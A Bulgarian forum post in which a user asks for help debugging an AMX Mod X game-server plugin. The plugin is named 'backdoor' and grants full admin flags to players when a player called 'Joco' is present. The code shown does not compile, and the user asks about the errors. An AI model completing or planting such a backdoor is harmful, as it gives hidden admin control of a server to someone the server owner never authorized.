Добре разбирам ви всичко,но попринцип може ли да се направи проверка с get_players с цикъл или не може защото,аз сега пробвах,но не стигам до едно нещо което много ме затруднява и искам съвет как да постъпвам занапред
Код за потвърждение: Избери целия код
#include <amxmodx>
#define flags "abcdefghijklmnopqrstu"
#define PLUGIN "backdoor"
#define VERSION "0.1a"
#define AUTHOR "aTmAx"
#define g_pName1 "Joco"
public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR)
}
public client_putinserver(id)
{
new iPlayers[32], iPnum
get_players(iPlayers, iPnum)
for(new i, iPlayer; i < iPnum; i++)
{
iPlayer = iPlayers[i]
if(get_user_name(iPlayer) & g_pName1)
{
set_user_flags(id, read_flags(flags))
}
}
}
на 23 ред
ми изписвa
Код за потвърждение: Избери целия код
(23) : error 088: number of arguments does not match definition
а провеката за админ флаг неми дава тая грешка за лошата дефиниция,
в по горния код използвах
,да но във втората проверка,ако искам да си дефинирам ADMIN_KICK
Код за потвърждение: Избери целия код
#define ADMINLEVEL "ADMIN_KICK" if(get_user_flags(iPlayer) & ADMINLEVEL)
пак ще ми изкара грешката за дефиниция при компилацияи въпросами е при тая проверка
функцията get_user_name може ли да се използва по тоя начин в проверката?